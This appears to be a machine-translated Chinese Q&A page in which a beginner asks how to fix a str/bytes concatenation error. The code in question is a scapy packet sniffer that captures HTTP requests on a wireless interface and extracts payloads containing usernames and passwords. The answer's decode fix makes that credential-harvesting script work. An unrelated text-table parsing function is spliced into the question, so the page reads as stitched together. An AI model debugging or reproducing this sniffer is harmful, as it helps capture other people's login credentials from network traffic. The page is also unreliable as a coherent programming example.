如何解决错误只能将str而不是“字节”连接到str

如何解决如何解决错误只能将str而不是“字节”连接到str

嘿，我需要帮助来解决这个错误。我尝试对第 24 行和关键字进行编码。但这会产生另一个错误......,

def get_table_data(file_path = 'FlatTextFile.txt',table_keyword = 'pk_tbl',table_num = '101',data_keyword = 'drink'):
    output_ls = []
    with open(file_path,'r') as fh:
        table = False
        data = False
        for line in fh.readlines():
            if not len(line.strip()): # Ignoring blank lines
                continue
            row = line.split()
            if not table: # Searching for table keyword and number
                if row[0] == table_keyword and row[1] == table_num:
                    table = True
            else:
                if row[0] == table_keyword: # I'm already at next table
                    break
                if not data: # Searching for data keyword
                    if row[0] == data_keyword:
                        data = True
                        output_ls.append(line)
                else: # Searching for more consecutive data keywords
                    if row[0] == data_keyword:
                        output_ls.append(line)
                    else:
                        break
        return output_ls

,

错误

#!/usr/bin/env python

import scapy.all as scapy
from scapy.layers import http

def sniff(interface):
    scapy.sniff(iface=interface,store=False,prn=process_sniffed_packets)


def get_url(packet):
    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path

def get_login_info(packet):
    if packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        keywords = ["username","user","password","pass","login"]
        for keyword in keywords:
            if keyword in load:
                return load

def process_sniffed_packets(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >>" + url)

        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible username/password >" + login_info + "\n\n")



sniff("wlan0")

任何想法如何解决它！ 我尝试了很多方法来弄清楚。我是python的初学者。我缺乏对编码/解码/unicode 的理解。

解决方法

替换

print("[+] HTTP Request >>" + url)

与

print("[+] HTTP Request >>" + url.decode("utf-8"))

这会将 url 转换为字符串。